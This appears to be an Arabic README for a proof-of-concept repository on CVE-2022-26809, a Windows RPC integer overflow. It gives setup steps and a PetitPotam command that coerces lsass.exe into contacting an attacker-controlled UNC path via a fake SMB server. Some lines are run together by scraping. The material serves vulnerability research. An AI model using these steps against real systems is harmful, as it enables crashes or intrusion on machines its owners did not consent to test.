
إثبات المفهوم (PoC) والتحليل لثغرة CVE-2022-26809، وهي ثغرة تجاوز عدد صحيح في بيئة تشغيل RPC في نظام ويندوز. تتضمن نصوص تشغيل تستخدم أسلوب ترحيل مسار UNC بأسلوب PetitPotam لاستغلال lsass.exe عبر طلبات ESFRPC.
هذا المستودع هو مجرد بحث بسيط حول هذه الثغرة، وللحصول على تحليل أكثر تفصيلاً، يرجى الرجوع إلى هنا.
تحديث: 05/19 2022
لم يكتمل هذا التحليل بعد....
تحديث: 05/22 2022
منشور HuanGMz ومدونة corelight يُظهران نقطة الضعف الحقيقية:
OSF_CASSOCIATION::ProcessBindAckOrNak

تُستغل هذه الثغرة بطريقة مشابهة لـ CVE-2021-43893، فعند إرسال طلب ESFRPC إلى lsass.exe باستخدام مسار UNC، سيحاول الضحية الوصول إلى الهدف كعميل، لذلك سيؤدي ذلك إلى حدوث تجاوز عدد صحيح في API الخاصة بالعميل
إذا كان لديك أي حل أفضل لاستغلال هذه الثغرة، فلا تتردد في تقديم issue أو pr :)
نظرًا لأن الثغرة تُستغل مثل CVE-2021-43893، فقط قم باستنساخ كود PetitPotam.
قم فقط بتجهيز البيئة تمامًا كما هنا:

fake_smb_server.py على خادم المهاجم بعد استبدال rpcrt.py بالملف الأصلي (**نظرًا لأن المنفذ 445 مشغول بواسطة System على Windows، يُنصح بنشر الخدمة على Linux **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe (ومع ذلك، لم أنجح في تشغيل BSoD، ولكن وفقًا لـ windbg، فقد حدث تجاوز العدد الصحيح)الوصف القديم
إليك كود إعادة إنتاج ثغرة Windows RPC CVE-2022-26809، وهو يشير إلى https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
إصدار بايثون الخاص بي هو 3.6.7
لست متأكدًا مما إذا كان GetCoalescedBuffer مرتبطًا بـ CVE-2022-26809 الحقيقي، فقط احتفظ به
الملف poc.py يحاول فقط استغلال الدالة OSF_SCALL::GetCoalescedBuffer، ولن يتسبب في أي انهيار لأن تجاوز عدد صحيح dword من الصعب جدًا إعادة إنتاجه. والملف rpcrt.py هو حزمة بايثون impacket.dcerpc.v5.rpcrt، فقط استبدله بالملف الأصلي لاستغلال الثغرة (تذكر أن تنسخ احتياطيًا من الملف الأصلي :) أعتقد أن rpcrt.py يحتوي على الكثير من الأخطاء).
إذا لم يعمل، ربما يمكن أن يساعد wireshark في تحديد موضع الخطأ.
إذا لزم الأمر، فقط استخدم nmake لإعادة بنائه.